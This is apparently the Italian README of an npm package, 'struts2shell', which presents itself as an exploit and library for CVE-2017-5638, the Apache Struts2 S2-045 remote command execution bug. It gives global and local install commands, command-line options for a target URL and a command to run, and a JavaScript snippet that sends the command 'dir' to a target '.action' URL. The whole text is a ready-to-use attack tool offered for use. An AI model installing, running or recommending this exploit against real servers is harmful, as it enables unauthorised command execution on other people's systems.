
Un exploit (e libreria) per CVE-2017-5638 - il bug Apache Struts2 S2-045.
Un exploit (e libreria) per CVE-2017-5638 - il bug Apache Struts2 S2-045.
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help mostra le informazioni sull'uso
-V, --version mostra il numero di versione
-u, --url [destinazione] URL da attaccare
-c, --cmd [comando] Comando da eseguire
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
Software libero, sì!